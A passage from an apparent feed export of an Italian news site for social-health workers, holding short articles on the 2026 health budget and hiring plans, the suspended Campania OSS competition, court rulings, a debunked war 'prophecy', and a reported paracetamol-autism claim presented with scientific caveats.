imprese. "L'obiettivo - ha spiegato Giorgetti - è garantire maggiore competitività e liberare risorse per chi produce e lavora, senza compromettere i conti pubblici". Per operatori come gli OSS e il personale sanitario, spesso penalizzati da stipendi bassi rispetto all'impegno e alle responsabilità, la riduzione del carico fiscale potrebbe tradursi in un piccolo ma significativo aumento del reddito disponibile. Più fondi per la sanità Altro capitolo centrale riguarda il finanziamento del sistema sanitario. Dopo gli incrementi già previsti lo scorso anno, il governo ha confermato un nuovo rifinanziamento del Fondo sanitario nazionale, per garantire continuità nei servizi e sostegno alle strutture pubbliche. Per chi lavora in corsia o nelle strutture sociosanitarie, ciò significa più possibilità di investimenti in personale, formazione e risorse. Un segnale importante in un settore che vive da anni una condizione di precarietà e carichi di lavoro sempre più gravosi. Il ministro ha chiarito anche il tema delle spese per la Difesa, che cresceranno in modo graduale per "non spiazzare altre componenti di spesa fondamentali come la sanità o gli investimenti". Un equilibrio reso necessario dal livello ancora alto del debito pubblico, definito "un'eredità di politiche che hanno trascurato l'uso accorto delle risorse". Nonostante il nodo del debito, Giorgetti ha rivendicato la resilienza dell'Italia di fronte agli shock economici e la solidità di un Paese che può contare su eccellenze produttive, qualità del Made in Italy e patrimonio delle famiglie. La sfida, ha concluso, è rendere questa solidità un trampolino per "finanziare le nuove priorità di politica economica e garantire equità tra le generazioni". --- > Piano Sanità 2026: 27mila assunzioni tra infermieri e medici, investimenti in prevenzione e incentivi al personale Ssn. - Published: 2025-10-03 - Modified: 2025-10-03 - URL: https://ossinreparto.it/news/2025/10/03/sanita-manovra-2026-27mila-assunzioni-infermieri/ - Categorie: Sanità Sanità 2026, assunzioni infermieri, piano assunzioni Ssn, investimenti prevenzione, personale sanitario Il Governo italiano ha messo a punto un piano triennale di assunzioni che a regime porterà negli ospedali e negli ambulatori del Servizio sanitario nazionale quasi 27mila nuovi operatori sanitari e medici, con una priorità assoluta agli infermieri, la categoria più carente del Ssn. L'obiettivo è affrontare la carenza stimata di almeno 70mila infermieri e migliorare la qualità dell'assistenza sanitaria. Il piano segue il modello già tentato nella scorsa legge di bilancio, interrotto per ragioni finanziarie, ma questa volta la sanità non dovrebbe essere sacrificata a fronte dei conti pubblici. Il Governo punta a mantenere la spesa sanitaria al 6,4% del Pil, garantendo circa 2-2,5 miliardi di euro in più per il 2026. Sanità 2026: il piano di assunzioni per rafforzare il Ssn Secondo le stime del Ministero della Salute, delle 27mila assunzioni previste, circa 2mila saranno medici, mentre le restanti 25mila unità saranno destinate a infermieri e altri operatori sanitari essenziali. La crescita del personale sarà graduale: 1,5% nel 2026, 3% nel 2027, fino al 6% nel 2028, mentre per i medici l'aumento sarà più contenuto, da 0,5% all'1,5% nello stesso periodo. Per incentivare il personale, la manovra potrebbe prevedere incrementi dell'indennità di specificità e la possibilità per gli infermieri di svolgere attività libero-professionale (intramoenia) senza vincoli, come già avviene per i medici. Oltre al rafforzamento del personale, la manovra punta a potenziare la prevenzione, considerata strategica sia per la salute dei cittadini sia per ridurre i costi sanitari a lungo termine. I fondi destinati passeranno dal 5% al 6% del Fondo sanitario, con interventi che includono: Estensione degli screening oncologici a fasce d'età più ampie Finanziamento di almeno 80 milioni per la salute mentale 300 milioni destinati al Piano sanitario nazionale Non mancano però le incognite: le recenti sentenze del Tar sul nuovo tariffario Ssn e il rifinanziamento dell'assistenza domiciliare potrebbero assorbire parte della dotazione prevista, stimata tra 200 e 700 milioni di euro. Il piano di assunzioni e gli investimenti nella prevenzione rappresentano un segnale concreto di attenzione verso il personale e i cittadini. Se approvato, il progetto sarà un primo passo significativo per garantire stabilità e qualità al Servizio sanitario nazionale, fronteggiando l'emorragia di personale e rafforzando i servizi sanitari sul territorio. --- > ECM formazione sanitaria: corso gratuito sulla sicurezza della risonanza magnetica. 4,5 crediti fino al 31 dicembre 2025. Iscriviti ora al corso FAD. - Published: 2025-10-01 - Modified: 2025-10-01 - URL: https://ossinreparto.it/news/2025/10/01/ecm-formazione-sanitaria-corso-risonanza-magnetica/ - Categorie: Sanità Disponibile fino al 31 dicembre il corso ECM gratuito sulla sicurezza nell'uso della risonanza magnetica. 4,5 crediti per operatori sanitari. Biba Group promuove un corso gratuito sulla sicurezza nell'utilizzo della risonanza magnetica, destinato al personale sanitario, inclusi infermieri e operatori. L'iniziativa di ECM formazione sanitaria mira a fornire competenze fondamentali sulla gestione dei rischi connessi all'impiego di tecnologie avanzate in ambito ospedaliero. Il corso, attivo fino al 31 dicembre 2025, attribuisce 4,5 crediti ECM e rappresenta un'opportunità formativa rilevante per chi opera quotidianamente a contatto con apparecchiature di imaging diagnostico. La risonanza magnetica, pur essendo uno strumento indispensabile per la diagnosi, richiede conoscenze specifiche per garantire la sicurezza di operatori e pazienti. La formazione si inserisce nel quadro normativo vigente e risponde all'esigenza di aggiornamento continuo del personale sanitario, elemento essenziale per la qualità e la sicurezza delle prestazioni erogate nelle strutture ospedaliere italiane. --- > Un ex generale Nato scatena il panico online con la "profezia" del 3 novembre. Ecco cosa c'è di vero e come gli OSS possono rassicurare i pazienti. - Published: 2025-10-01 - Modified: 2025-10-01 - URL: https://ossinreparto.it/news/2025/10/01/terza-guerra-mondiale-3-novembre-fake-news-oss/ - Categorie: Cronaca Un ex generale Nato scatena il panico online con la "profezia" del 3 novembre. Ecco cosa c'è di vero e come gli OSS possono rassicurare i pazienti. Negli ultimi giorni una frase ha acceso discussioni e paure online: "Il 3 novembre scoppierà la Terza Guerra Mondiale". Parole attribuite a Richard Shirreff, ex generale della Nato, che in realtà non ha mai fatto una previsione letterale, ma ha descritto un "esercizio mentale" per mostrare i rischi legati alle tensioni internazionali. Un suo articolo sul Daily Mail immaginava uno scenario ipotetico in cui un cyberattacco in Lituania potrebbe innescare una catena di eventi tale da portare a un conflitto globale. Un racconto dettagliato, ora dopo ora, che però è stato preso come una "profezia" e trasformato in complotto sui social, tra video virali e post allarmistici. Teorie del complotto e allarmismo online Molti utenti hanno collegato lo scritto dell'ex generale a notizie decontestualizzate, come l'invito della BCE a tenere contanti in casa per eventuali "turbolenze sistemiche". Il risultato? Una miscela di fake news e mezze verità che ha alimentato paure ingiustificate. Il rischio di blackout, l'uso dei droni, i conflitti in Ucraina e Medio Oriente: tutto viene unito in un'unica narrazione che promette la fine del mondo. Ma, come sempre, il contesto fa la differenza: la BCE non ha mai parlato di guerra mondiale, Shirreff non ha lanciato profezie, e non c'è alcun "conto alla rovescia" verso l'apocalisse. Perché interessa anche noi OSS? Per chi lavora nella sanità e nell'assistenza, notizie come queste hanno un effetto immediato: creano ansia tra gli operatori e tra i pazienti. In corsia e nelle strutture socio-sanitarie capita di sentire frasi come "tanto scoppia la guerra", spesso dette da persone fragili, anziane o spaventate. Come OSS dobbiamo imparare a gestire l'emotività, rassicurando con calma e spiegando che non sempre ciò che circola sul web è reale. La paura si diffonde veloce, ma il nostro compito è dare sicurezza e stabilità, anche nei momenti in cui la confusione informativa rischia di far perdere lucidità. La verità dietro le parole del generale Il messaggio autentico di Shirreff è in realtà una critica politica e militare: secondo lui, l'Occidente ha investito troppo nel welfare e troppo poco nella difesa, esponendosi a rischi. Ma si tratta di un parere personale, non di una previsione certa. Scrive infatti: "Siamo sull'orlo di un conflitto catastrofico tra superpotenze su due fronti". Una riflessione dura, che sottolinea un rischio geopolitico, ma che nulla ha a che fare con un appuntamento già scritto sul calendario. --- - Published: 2025-09-27 - Modified: 2025-09-27 - URL: https://ossinreparto.it/news/2025/09/27/sanita-futuro-digitale-telemedicina-nhs-italiano/ - Categorie: Attualità, Sanità - Tag: Intelligenza Artificiale, Telemedicina Schillaci annuncia telemedicina, digitalizzazione e nuovi fondi per rendere la sanità italiana più moderna, equa e vicina ai cittadini. Il futuro del Servizio sanitario nazionale passerà da telemedicina, intelligenza artificiale e digitalizzazione. È questa la visione tracciata dal ministro della Salute, Orazio Schillaci, durante la sua visita in Toscana, che ha toccato Siena, Grosseto e si è conclusa ad Arezzo. Schillaci ha sottolineato la necessità di colmare le fragilità dell'assistenza territoriale, emerse con forza durante la pandemia, e ha annunciato nuovi fondi nella prossima legge di Bilancio, oltre ai 4 miliardi già previsti, per incentivare le assunzioni e migliorare le buste paga degli operatori sanitari. "Occorre trovare un equilibrio tra ospedale e territorio - ha spiegato il ministro -. Già con il Covid è stato evidente quanto sia debole la rete territoriale. Oggi abbiamo a disposizione i fondi del Pnrr e dobbiamo usarli bene, soprattutto per alleggerire i pronto soccorso". La sfida, ha ribadito Schillaci, sarà rendere l'accesso alle cure uniforme in tutta Italia, grazie anche alla telemedicina: "Il cittadino deve avere le stesse possibilità indipendentemente dalla residenza. Con il digitale sarà possibile ottenere consulti rapidi e specialistici senza doversi spostare". Programmare le specializzazioni mediche Un altro punto critico riguarda la formazione. Schillaci ha ricordato le carenze in settori come emergenza-urgenza, oncologia, radioterapia e anatomia patologica, che hanno registrato negli ultimi anni una crescente disaffezione da parte dei giovani medici. "Con la legge delega sul riordino delle professioni sanitarie - ha spiegato - vogliamo rilanciare il servizio sanitario nazionale, che ha 47 anni e oggi ha bisogno di nuove energie". Più fondi nella prossima legge di Bilancio A Grosseto, durante un incontro con Anaao-Assomed, il ministro ha anticipato gli obiettivi della prossima manovra economica: "Lavoriamo per garantire risorse aggiuntive rispetto ai 4 miliardi già previsti. Vogliamo incentivare le assunzioni e incrementare le retribuzioni, anche attraverso misure di defiscalizzazione e un rafforzamento delle indennità di specificità". Il messaggio che arriva dalla Toscana è chiaro: la sanità del futuro dovrà essere più vicina ai cittadini, più equa e soprattutto più moderna. Digitalizzazione, telemedicina e nuove assunzioni rappresentano gli strumenti principali per costruire un servizio sanitario capace di rispondere alle sfide di oggi e di domani. Ora la parola passa alla prossima legge di Bilancio, che dovrà tradurre in risorse concrete le promesse annunciate dal ministro Schillaci. --- > Il governatore De Luca sospende il concorso Oss in Campania per presunte irregolarità. "Lo rifaremo con carabinieri e Guardia di Finanza per garantire trasparenza". - Published: 2025-09-24 - Modified: 2025-09-24 - URL: https://ossinreparto.it/news/2025/09/24/concorso-oss-campania-de-luca-stop-irregolarita-nuovo-bando/ - Categorie: Attualità, Concorsi, News Concorsi Il governatore De Luca sospende il concorso Oss in Campania per presunte irregolarità. "Lo rifaremo con carabinieri e Guardia di Finanza per garantire trasparenza". Il concorso per 1. 274 posti da operatore socio-sanitario (Oss) in Campania, che vedeva oltre 25mila candidati attesi alle prove scritte, è stato sospeso a causa di presunte irregolarità. A chiarire le ragioni dello stop è stato il presidente della Regione Campania, Vincenzo De Luca, intervenuto oggi a margine di un incontro a Serino. "Si stavano vendendo i posti" "Abbiamo verificato anomalie e, sulla base di voci di compravendita, deciso di fermare il concorso" ha dichiarato De Luca, spiegando che "si diceva che si stavano vendendo posti per gli Oss". Secondo il governatore, la società incaricata aveva predisposto i quiz con una settimana di anticipo rispetto alle prove, "un elemento che rendeva concreto il rischio di manipolazioni, clientelismo e porcherie". La nuova procedura con le forze dell'ordine Il presidente ha però assicurato che la selezione andrà avanti, "ma seguendo criteri di massima trasparenza". De Luca ha annunciato che i nuovi quiz saranno elaborati il giorno prima delle prove e consegnati in busta sigillata ai carabinieri e alla Guardia di Finanza, che li apriranno direttamente il giorno del concorso. "In questo modo - ha aggiunto - garantiremo la correttezza delle procedure e il rispetto dei candidati. Finché ci sono io, non saranno commesse porcherie clientelari. In dieci anni non abbiamo permesso scorrettezze, né pressioni politiche nelle Asl: abbiamo sempre cercato i migliori manager disponibili". La protesta dei candidati La sospensione, arrivata a pochi giorni dall'avvio delle prove, ha però scatenato la rabbia dei candidati, molti dei quali stavano preparando gli esami da mesi. Lo stop si inserisce in un clima politico delicato: in Campania si voterà per le regionali il 23 e 24 novembre prossimi. --- > Il Tar del Lazio annulla il decreto sulle tariffe sanitarie: "Prezzi troppo bassi e dati difettosi". UAP: "Vittoria per pazienti e strutture". - Published: 2025-09-24 - Modified: 2025-09-24 - URL: https://ossinreparto.it/news/2025/09/24/sanita-il-tar-del-lazio-boccia-il-nuovo-tariffario-prezzi-troppo-bassi-vittoria-per-i-pazienti/ - Categorie: Sanità Il Tar del Lazio annulla il decreto sulle tariffe sanitarie: "Prezzi troppo bassi e dati difettosi". UAP: "Vittoria per pazienti e strutture". Colpo di scena nella sanità italiana. Il Tar del Lazio ha annullato in parte il decreto del novembre 2024 con cui il Ministero della Salute, di concerto con quello dell'Economia, aveva ridefinito le tariffe per l'assistenza specialistica ambulatoriale e protesica. Il provvedimento, contestato da mesi da diverse sigle di categoria, fissava i rimborsi che lo Stato riconosce alle strutture sanitarie per una vasta gamma di prestazioni: visite specialistiche, esami diagnostici, analisi del sangue, fisioterapia e servizi protesici. Secondo i giudici amministrativi, però, la riforma si basava su prezzi ritenuti troppo bassi e su dati raccolti in maniera incompleta e difettosa, tali da compromettere la sostenibilità del sistema. Le motivazioni della sentenza Il Tar ha ritenuto fondate le eccezioni sollevate nei ricorsi, sottolineando come l'abbassamento generalizzato delle tariffe avrebbe rischiato di danneggiare non solo le strutture private accreditate, ma anche quelle pubbliche. Il tema centrale riguarda la qualità delle cure: tariffe troppo ridotte possono limitare la capacità delle strutture di offrire prestazioni adeguate, con ricadute dirette sui cittadini. La reazione delle associazioni: "Una vittoria per i cittadini" Grande soddisfazione è stata espressa dall'Unione Accreditati Privati (UAP). La presidente Mariastella Giorlandino ha commentato: "Questa è una vittoria per i cittadini italiani. Non possiamo non curare: dobbiamo garantire assistenza, ma servono rimborsi adeguati. Le strutture private accreditate ricevono gli stessi rimborsi degli ospedali pubblici, ed è giusto che siano sostenibili". Il pronunciamento del Tar apre ora una fase di incertezza: il Ministero della Salute dovrà decidere se proporre appello al Consiglio di Stato o riformulare il decreto con nuove modalità di calcolo. Le prospettive per il sistema sanitario La vicenda riporta al centro il delicato equilibrio tra sostenibilità economica e diritto alla salute, in un sistema sanitario nazionale già sotto pressione per l'aumento dei costi e il fabbisogno crescente di cure. Per i pazienti, la sentenza rappresenta una garanzia ulteriore: il timore diffuso era che tariffe troppo basse potessero tradursi in riduzione della qualità delle prestazioni e in liste d'attesa ancora più lunghe. --- > Il Tribunale di Taranto accoglie il ricorso di una OSS: contratto a termine trasformato in indeterminato. Una vittoria simbolica contro la precarietà. - Published: 2025-09-24 - Modified: 2025-09-24 - URL: https://ossinreparto.it/news/2025/09/24/taranto-giudice-trasforma-contratto-oss-indeterminato-2025/ - Categorie: Sanità - Tag: Lavorare come OSS Una sentenza che segna un punto fermo nella tutela dei lavoratori precari. Il Tribunale di Taranto ha accolto il ricorso presentato da un'operatrice socio-sanitaria (OSS), annullando l'ultimo termine del contratto che la legava a una cooperativa e trasformandolo in rapporto di lavoro a tempo indeterminato. La lavoratrice era stata assunta con una serie di contratti a termine a partire dal 20 giugno 2022, fino al licenziamento del 14 dicembre 2023. Un percorso fatto di rinnovi continui, ma senza la stabilità necessaria. A difenderla in aula l'avvocato Mario Soggia, che ha contestato la genericità delle motivazioni con cui la cooperativa giustificava il ricorso ai contratti a tempo determinato. La motivazione del Tribunale Il giudice del lavoro, dottor Raffaele Ciquera, ha accolto le ragioni della ricorrente, sottolineando che la normativa vigente impone alle aziende di indicare in maniera chiara e puntuale i motivi della sostituzione del personale. Nel caso specifico, la cooperativa aveva fatto riferimento a un "numero indefinito di personale assente", senza indicazioni concrete su chi dovesse essere sostituito. Una prassi ritenuta irregolare, che ha portato alla trasformazione del contratto. "Il giudice ha osservato - ha spiegato l'avvocato Soggia - che l'onere di specificazione delle ragioni giustificatrici è fondamentale per garantire la trasparenza del rapporto di lavoro. Poiché la cooperativa non ha rispettato questi principi, il contratto è stato convertito in indeterminato, ponendo fine a una condizione di precarietà che durava da troppo tempo". Una decisione dal valore simbolico Per la lavoratrice si tratta di un risultato che restituisce stabilità professionale e dignità, ma la sentenza assume un valore più ampio. In un settore come quello sociosanitario, segnato da carenze di personale e forte ricorso a contratti temporanei, la decisione del Tribunale rappresenta un precedente importante. "Questa vittoria - ha aggiunto Soggia - dimostra che non bisogna arrendersi davanti a pratiche lavorative scorrette. È una battaglia di giustizia che riguarda tutti i lavoratori, in particolare quelli impegnati in comparti essenziali per la comunità". La pronuncia del Tribunale di Taranto rafforza così il principio secondo cui il lavoro, soprattutto in ambiti delicati come quello dell'assistenza, deve fondarsi su regole certe e trasparenti, capaci di garantire stabilità e sicurezza. --- > Protocollo tra Procura di Avellino e Azienda Moscati: due sale all’avanguardia per autopsie e diagnostica medico-legale a supporto delle indagini giudiziarie. - Published: 2025-09-23 - Modified: 2025-09-23 - URL: https://ossinreparto.it/news/2025/09/23/avellino-procura-moscati-sale-autopsie/ - Categorie: Sanità - Tag: Avellino, Campania Protocollo tra Procura di Avellino e Azienda Moscati: due sale all’avanguardia per autopsie e diagnostica medico-legale a supporto delle indagini giudiziarie. Protocollo d'intesa tra la Procura di Avellino e l'Azienda Ospedaliera Moscati per rafforzare la collaborazione nel campo della medicina legale. La direzione generale dell'ospedale ha infatti allestito due sale dedicate alle autopsie, una presso la città ospedaliera del Capoluogo e l'altra al presidio Landolfi di Solofra, complete di strumenti radiologici e diagnostici all'avanguardia. Le strutture, dotate di obitori protetti con rigorose misure di sicurezza, saranno supportate dall'Unità Operativa Complessa di Radiologia, garantendo così diagnostica precisa e affidabile per le esigenze dell'autorità giudiziaria. L'obiettivo del protocollo è mettere a disposizione le migliori risorse tecnologiche e professionali, per determinare con metodo scientifico le cause dei decessi, escludendo eventi non naturali o raccogliendo elementi utili alle indagini in corso. Il progetto rappresenta la conclusione di una lunga fase istruttoria, avviata quasi un anno fa sotto la guida del manager Renato Pizzuti e completata dal suo successore, il Direttore Generale Germano Perito. "Con questo accordo - spiegano i vertici dell'ospedale - garantiamo al territorio e all'autorità giudiziaria strumenti sicuri, moderni e altamente professionali per affrontare con rigore scientifico casi di decessi sospetti. " Il protocollo consolida il ruolo dell'Azienda Moscati di Avellino come centro di eccellenza nella diagnostica medico-legale, offrendo alle indagini giudiziarie un supporto tecnico-scientifico completo, in grado di ridurre i tempi e aumentare l'accuratezza delle autopsie su cadaveri di interesse giudiziario. --- > Elly Schlein a Cosenza: "In Calabria tanti cittadini hanno rinunciato alle cure. Serve un salto in avanti della sanità pubblica e un salario minimo regionale." - Published: 2025-09-23 - Modified: 2025-09-23 - URL: https://ossinreparto.it/news/2025/09/23/schlein-calabria-sanita-salto-avanti/ - Categorie: Sanità Elly Schlein a Cosenza: "In Calabria tanti cittadini hanno rinunciato alle cure. Serve un salto in avanti della sanità pubblica e un salario minimo regionale." "Qui ci sono tanti cittadini che hanno rinunciato a curarsi". Lo ha dichiarato Elly Schlein, segretaria del Partito Democratico, intervenendo a Cosenza per discutere della situazione sanitaria in Calabria. La leader dem ha evidenziato le criticità strutturali degli ospedali calabresi, tra carenza di medici e infermieri e mancanza di personale anche sulle ambulanze, fattore che ha portato a tragici episodi sul territorio. Schlein ha sottolineato l'urgenza di un intervento concreto: "Dobbiamo farci carico subito della richiesta dei calabresi di non essere considerati cittadini di serie B. Serve un salto in avanti della sanità pubblica per assicurare il diritto alle cure a chi, fino ad oggi, ha rinunciato per motivi economici. " La segretaria dem ha anche evidenziato l'importanza di integrare sanità e lavoro, ringraziando Pasquale Tridico per il contributo alla costruzione di politiche che valorizzino entrambi gli ambiti. "È cruciale garantire opportunità di lavoro concrete - ha affermato - e sostenere un salario minimo regionale. Molti calabresi non arrivano nemmeno ai nove euro lordi all'ora, una condizione che per noi è sfruttamento. " Secondo Schlein, le proposte del Partito Democratico mirano a rafforzare i servizi pubblici e a sostenere le famiglie più fragili, penalizzate dalle politiche degli ultimi anni. "La destra, prima con Occhiuto e oggi con Giorgia Meloni, ha già voltato le spalle a chi ha più bisogno per ragioni di propaganda", ha concluso. Le dichiarazioni arrivano in un contesto in cui la Calabria registra gravi lacune nella sanità territoriale, con ospedali sotto organico, liste d'attesa lunghe e difficoltà di accesso alle cure di base. Per Schlein, interventi immediati e investimenti pubblici mirati sono necessari per garantire il diritto alla salute e combattere le disuguaglianze regionali. --- > Trump annuncia possibili correlazioni tra paracetamolo in gravidanza e autismo. Previsti studi clinici con Leucovorin come trattamento. - Published: 2025-09-23 - Modified: 2025-09-23 - URL: https://ossinreparto.it/news/2025/09/23/trump-autismo-paracetamolo-leucovorin/ - Categorie: Sanità Trump annuncia possibili correlazioni tra paracetamolo in gravidanza e autismo. Previsti studi clinici con Leucovorin come trattamento. L'amministrazione guidata da Donald Trump si prepara a un annuncio destinato a riaccendere il dibattito sull'autismo e sulle possibili cause ambientali. Durante i funerali di Charlie Kirk, Trump ha dichiarato: "Faremo un importante annuncio sull'autismo", facendo riferimento a ricerche sul legame tra l'assunzione di paracetamolo in gravidanza e un potenziale aumento del rischio di disturbi dello spettro autistico nei bambini. Secondo quanto riportato dal Washington Post, l'annuncio ufficiale sarà affidato al Dipartimento della Salute e dei Servizi Umani, oggi guidato da Robert F. Kennedy Jr. , e sarà accompagnato da una campagna informativa rivolta alle donne in età fertile. Autismo e paracetamolo: ipotesi scientifica controversa L'iniziativa si basa su una revisione interna di studi condotti negli ultimi anni, i quali suggerirebbero un possibile aumento del rischio di autismo nei bambini esposti al paracetamolo durante la gestazione. Tuttavia, queste ricerche non stabiliscono un nesso causale diretto, e numerose istituzioni scientifiche continuano a ritenere insufficienti le prove disponibili. Negli Stati Uniti e a livello internazionale, il paracetamolo (Tylenol) è considerato sicuro in gravidanza se assunto nelle dosi raccomandate. Trump: "Abbiamo trovato una risposta per l'autismo" Il presidente ha suscitato attenzione con le parole: "Abbiamo trovato una risposta per l'autismo", pronunciate davanti a circa 200 mila sostenitori riuniti per la commemorazione di Charlie Kirk, assassinato da un cecchino all'Università dello Utah. Trump ha definito l'annuncio "una delle cose più importanti che faremo", rilanciando così il tema della correlazione tra farmaci prenatali e disturbi neuroevolutivi. Sperimentazione con Leucovorin come trattamento Contestualmente, l'amministrazione prevede di promuovere studi clinici sull'utilizzo del Leucovorin, una forma sintetica di acido folico, come possibile trattamento per alcuni sintomi dell'autismo. Piccoli trial preliminari avrebbero mostrato miglioramenti nelle competenze linguistiche e nella comprensione sociale dei bambini trattati. Tuttavia, la comunità scientifica invita alla prudenza: gli studi non sono stati ancora sottoposti a revisione paritaria e mancano dati su larga scala che ne confermino efficacia e sicurezza. Esperti temono che annunci affrettati possano generare false speranze o indurre comportamenti sanitari inappropriati. Reazioni della comunità scientifica Le dichiarazioni di Trump hanno immediatamente riacceso il dibattito pubblico e scientifico. Medici e istituzioni ricordano che non esistono prove conclusive e sottolineano l'importanza di procedere con cautela prima di formulare raccomandazioni sanitarie, soprattutto su farmaci ampiamente utilizzati come il paracetamolo. L'annuncio di Trump segna un punto di tensione tra politica e ricerca scientifica, suscitando attenzione internazionale. La comunità medica rimane in attesa di dati verificabili e studi clinici approfonditi, fondamentali per stabilire eventuali correlazioni reali e indicazioni terapeutiche sicure per le donne in gravidanza e i bambini. --- > Cadiprof organizza il 24 settembre un webinar su assistenza di lungo termine, non autosufficienza e sostenibilità del welfare sanitario. - Published: 2025-09-23 - Modified: 2025-09-23 - URL: https://ossinreparto.it/news/2025/09/23/sanita-webinar-cadiprof-assistenza-lungo-termine-sostenibilita/ - Categorie: Sanità Cadiprof organizza il 24 settembre un webinar su assistenza di lungo termine, non autosufficienza e sostenibilità del welfare sanitario. L'assistenza di lungo termine rappresenta una delle sfide più urgenti in una società che invecchia, segnata dall'aumento delle malattie croniche e da risorse sempre più limitate per il Servizio sanitario nazionale. A questo tema sarà dedicato il webinar "Sostenibilità e long term care. Assistenza di lungo termine, rapporti con il Ssn, criticità e dinamiche da monitorare", in programma mercoledì 24 settembre alle ore 13 in diretta sui canali web e social di Adnkronos e Cadiprof. Cadiprof, 20 anni di tutela per i lavoratori degli studi professionali L'iniziativa rientra nel ciclo di incontri "Cadiprof: 20 anni di impegno e tutele per i lavoratori degli studi professionali", promosso dalla Cassa di assistenza sanitaria integrativa, attiva dal 2005 nell'erogazione di prestazioni sanitarie e sociosanitarie per i dipendenti del comparto libero professionale. Dopo il primo appuntamento, dedicato a prevenzione e corretti stili di vita, questa seconda diretta metterà al centro il nodo cruciale della non autosufficienza e della sostenibilità dei fondi sanitari integrativi in un sistema sanitario messo sotto pressione dall'aumento dei bisogni di salute. A coordinare il dibattito sarà la giornalista Maddalena Guiotto. Interverranno: Marco Micocci, professore ordinario di Matematica finanziaria e attuariale alle Università di Cagliari e La Sapienza di Roma Marianna Cavazza, Associate professor of practice alla SDA Bocconi Gaetano Stella, presidente Cadiprof Michele Carpinetti, vicepresidente Cadiprof Gli ospiti analizzeranno criticità e prospettive dei fondi sanitari integrativi, affrontando domande chiave: come garantire l'erogazione di servizi nel lungo periodo? In che modo supportare i lavoratori dipendenti e le loro famiglie di fronte ai bisogni di non autosufficienza? Durante la diretta sarà possibile interagire inviando domande o richieste di chiarimento al numero WhatsApp 347 4412645 o all'indirizzo mail cadiprof@adnkronos. com. L'obiettivo è coinvolgere direttamente i dipendenti e collaboratori degli studi professionali - dagli avvocati ai commercialisti, dagli architetti ai consulenti del lavoro, fino a medici, pediatri, veterinari, notai e psicologi - oltre a tutti i lavoratori a cui si applica il Ccnl di settore. Il webinar "Sostenibilità e long term care", promosso da Cadiprof in collaborazione con Adnkronos, rappresenta un'occasione di confronto per delineare nuove strategie di welfare sanitario e celebrare i 20 anni di attività della Cassa di assistenza integrativa. Mercoledì 24 settembre alle 13, in diretta sui canali web e social di Adnkronos, sul sito ufficiale e sul canale YouTube di Cadiprof. https://youtu. be/HLauEz5F6_4 --- > Rinviate a data da destinarsi le prove del concorso OSS Campania 2025 a Napoli e Salerno. Stop per oltre 25mila candidati. - Published: 2025-09-18 - Modified: 2025-09-18 - URL: https://ossinreparto.it/news/2025/09/18/concorso-oss-campania-2025-rinviate-prove-napoli-salerno/ - Categorie: Concorsi, News Concorsi Rinviate a data da destinarsi le prove del concorso OSS Campania 2025 a Napoli e Salerno. Stop per oltre 25mila candidati. Il concorso unico della Regione Campania per l'assunzione di 1. 274 operatori socio-sanitari (OSS) è ufficialmente bloccato. Dopo il rinvio annunciato dall'ASL di Salerno, anche l'ASL Napoli 1 Centro ha comunicato lo stop delle prove scritte previste a partire da lunedì 22 settembre. Una decisione che riguarda oltre 25mila candidati già convocati al Palapartenope di Fuorigrotta e al Palavesuvio di Ponticelli, lasciati ora nell'incertezza più totale. Le comunicazioni ufficiali L'ASL di Napoli 1, con una nota pubblicata sul proprio sito, ha reso noto che "tutte le prove del 22, 24, 25 e 26 settembre sono rinviate a data da destinarsi", parlando di "sopraggiunte criticità tecniche ed organizzative". Stessa motivazione era stata fornita due giorni prima dall'ASL di Salerno, capofila per l'Area 2 del concorso, che aveva già sospeso le proprie selezioni. Il concorso, indetto su base regionale, era stato organizzato in due aree territoriali: Area 1 (Napoli 1 Centro): 737 posti in palio, quasi 13mila candidati iscritti. Area 2 (Salerno): 537 posti, oltre 12mila ammessi. In totale, 1. 274 posti a tempo indeterminato da assegnare, a fronte di circa 25mila aspiranti. Candidati spiazzati e delusi Per migliaia di persone, molte delle quali provenienti da fuori provincia e fuori regione, lo stop improvviso è stato un fulmine a ciel sereno. In tanti avevano già prenotato viaggi, hotel e permessi lavorativi per presentarsi alle prove. "Avevamo studiato per mesi e organizzato la trasferta. È inaccettabile scoprire pochi giorni prima che tutto viene rinviato senza una nuova data", lamentano alcuni candidati sui social. Un rinvio che rischia di alimentare ulteriore sfiducia nei confronti delle procedure concorsuali pubbliche, soprattutto in un settore - quello sanitario - che necessita di nuovo personale con urgenza. Nessuna nuova data Al momento, né la Regione Campania né le due ASL coinvolte hanno comunicato un calendario aggiornato. Fonti interne parlano di verifiche tecniche e organizzative ancora in corso, ma non è escluso che dietro lo stop possano esserci anche valutazioni di carattere politico, a poco più di un mese dalle elezioni regionali fissate per il 23 e 24 novembre. La sospensione totale lascia quindi i 25mila partecipanti in un limbo, in attesa di chiarimenti ufficiali. Il concorso in breve La selezione prevedeva una prova scritta a risposta multipla, con quiz estratti da una banca dati ufficiale, e una prova orale successiva. I punteggi sarebbero stati ripartiti così: 40 punti per i titoli, 60 punti per le prove (30 scritta, 30 orale), con minimo 21/30 in ciascuna prova per superarla. Ora però tutto è fermo, "a data da destinarsi". 499489_rinvio_signed --- > Caos concorso OSS Campania 2025: rinviate le prove e scoppiano le polemiche. Muscarà: "Un insulto ai candidati, servono risposte subito". - Published: 2025-09-18 - Modified: 2025-09-18 - URL: https://ossinreparto.it/news/2025/09/18/concorso-oss-campania-la-protesta/ - Categorie: Concorsi, News Concorsi Caos concorso OSS Campania 2025: rinviate le prove e scoppiano le polemiche. Muscarà: "Un insulto ai candidati, servono risposte subito". Il rinvio del concorso unico regionale per 1. 274 operatori socio-sanitari (OSS) non ferma solo le prove scritte, ma alimenta anche una polemica politica sempre più accesa. Dopo la decisione delle ASL di Napoli e Salerno di sospendere gli esami per "criticità tecniche e organizzative", arrivano le accuse dal fronte istituzionale e dai candidati delusi. Le critiche La consigliera regionale indipendente Marì Muscarà parla di "un insulto inaccettabile" nei confronti dei 25mila aspiranti OSS che da mesi studiano e si preparano. "Le commissioni erano già nominate, le sedi pronte, i candidati divisi per gruppi. Che cosa è accaduto improvvisamente al Palapartenope e al Palavesuvio? Questa coincidenza sa di vecchia politica e scambi di voti sulla pelle di chi cerca lavoro e dignità", dichiara Muscarà. Molti concorrenti, anche cinquantenni che hanno deciso di rimettersi in gioco, denunciano sui social il sacrificio di mesi di studio andato in fumo. Alcuni parlano di "presa in giro", altri chiedono chiarezza immediata e nuove date certe. Il rinvio arriva a poco più di un mese dalle elezioni regionali del 23 e 24 novembre, alimentando sospetti su pressioni politiche e gestione poco trasparente delle procedure. Per la consigliera, "la sanità campana non può diventare terreno di scambi elettorali". Al momento, Regione e ASL non hanno fornito ulteriori spiegazioni sulle "criticità 